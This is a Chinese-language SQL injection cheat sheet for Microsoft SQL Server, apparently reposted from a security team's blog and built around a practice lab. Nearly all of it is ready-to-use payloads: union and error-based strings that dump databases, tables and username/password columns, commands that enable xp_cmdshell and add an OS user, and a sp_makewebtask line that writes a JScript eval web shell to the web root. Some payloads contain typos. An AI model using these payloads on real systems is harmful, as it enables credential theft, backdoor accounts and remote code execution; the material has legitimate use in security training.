sql注入mssql篇

Posted 黑色天马安全小队

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入mssql篇相关的知识,希望对你有一定的参考价值。

Mssql注入

+++union查询+++

拿mssqlilabs为例,当id=1的时候,如果查询结果是个字符型,union slect会有一个类型转换的问题,所以会爆类型转换的错误需要将id=-1  使得id=1没有回显的字符值,这样的话就可以用union查询返回回显点了

---查询版本:

Union select top 1 1,2,@@version-- 注释为两个减号

---查询当前数据库名:

因为mssql版本没有limit 和concat函数

所以此处使用top函数,查询几行

Union select top 1 1,2,db_name

---获取所有数据库名:

Union select top 1 1,2,name from master.sys.databases whwere name not in(select top n name from master.sys.databases)--

通过改变n的值获取所有数据库名

---获取表名:

id= -1 union select top 1 1,2,table_name from information_Schema.tables where table_name not in(select top n table_name from information_schema.tables)--

---获取列名:

id=-1 union select top 1 1,2,columns_name from information_schema.columns where table_name = 'users' and column_name not in (select top 1 column_name from information_schema.columns)--

---获取数据:

id=-1 union select top 1 1,username,password from users where usernamenot in(select top 1 username from users) and password not in (select top 1  password from users)--

+++报错注入+++

---判断注入点

id =1'

id=1 and 1=1

id=1 and 1=2

---判断是否为mssql数据库

id=1 and exists(select * from sysobjects)--正常为sqlserver

id=1 and exists(select count(*) from sysobject)--返回数值为sqlserver

---判断版本号

id=1 and @@version > 0 

@@version是sqlserver的全局变量

---获取当前数据库

and db_name()>0

and 1=(select db_name())--

---判断当前权限

and 1=(select IS_SRVROLEMEMBER('n'))--

n=sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin

---判断当前数据库角色是否为db_owner

id=1 and 1=(select is_member('db_owner'))--

如果是的话可以向网站目录写文件

---当前用户名字:

and user_name >0

类型转化int失败 将用户名显示出来

---查询所有数据库名

and 1=(select name from master.sys.databases where database_id=n)--

通过改变n值获取所有的数据库名

---获取数据库个数:

and 1=(select quotename(count(name))from master.sys.databases)--

---一次性获取数据库名

and 1=(select quotename(name) from master.sys.databases FOR XML PATH(''))--

---获取表名

and 1=(select top 1 table_name from information_schema.tables)--

---获取其他表明:

and 1=(select top 1 table_name from information_schema.tables where name not in ('第一个表名'))--

改变表名获取其他表名,直到报错

and 1= (select top 1 table_name from information_Schema.tables where name not in(select top n table_name from information_schema.tables))--

通过改变n的值获取所有的table值

and 1=(select quotename(table_name) from information_schema.tables FOR XML PATH(''))--

---获取字段名

and 1=(select top 1 column_name from information_schema.columns where table_name = 'user')--

---获取所有字段名:

and 1=(select top 1 column_name from information_schema.columns where table_name ='user' and column_name not in('id','username','password'))--


and 1=(select quotename(column_name) from information_schema.columns where table_name ='users'FOR XML PATH(''))--

+++mssql扩展+++

前提:数据库是db_owner权限

---xp_cmdshell执行系统命令

sqlserver2000默认开启,2005之后默认关闭,如果有sa账户可以用sp_configure开启

查看xp_cmdshell是否被禁用

and 1=(select count(*) from master.sys.sysobject where name ='xp_cmdshell')--

如果禁用了的话

id=1;exec sp_configure 'show advanced options' ,1;reconfigure;exec sp_configure 'xp+cmdshell' ,1;reconfigure--

exec sp_configure 'show advanced options' ,1

此处的 sp_configure 是修改系统配置的存储过程  show advanced options=1才被允许修改系统的高级配置,默认不开启

执行命令

id=1;exec master.sys.xp_cmdshell 'net user 123 123 /add'--

---sp_makewebtask(备份功能)

检测:

id=1 and 1=(select count(*) from master.dbo.sysobjects wherename='sp_makewebtask')--

写一句话:

id=1;exec sp_makewebtask 'c\inetpub\wwwroot\1.aspx','select"<%@ pagelanguage="jscript"%><%eval(requestitem["z"],"unsafe");%>"'

---xp_regread注册表读取

---xp_regwrite写入注册表

---xp_dirtree列目录

---xp_ntsec_enumdomains查看domain


以上是关于sql注入mssql篇的主要内容,如果未能解决你的问题,请参考以下文章

Node MSSQL - 如何使用内置的 SQL 注入保护

合集SQL注入提权

SQL注入第二章——access,mssql,oracle

手工MSSQL注入常用SQL语句

详解基于MSSQL “order by”语句报错的SQL注入技术

是否可以在没有准备好的语句(Node.js 和 MSSQL)的情况下防止 SQL 注入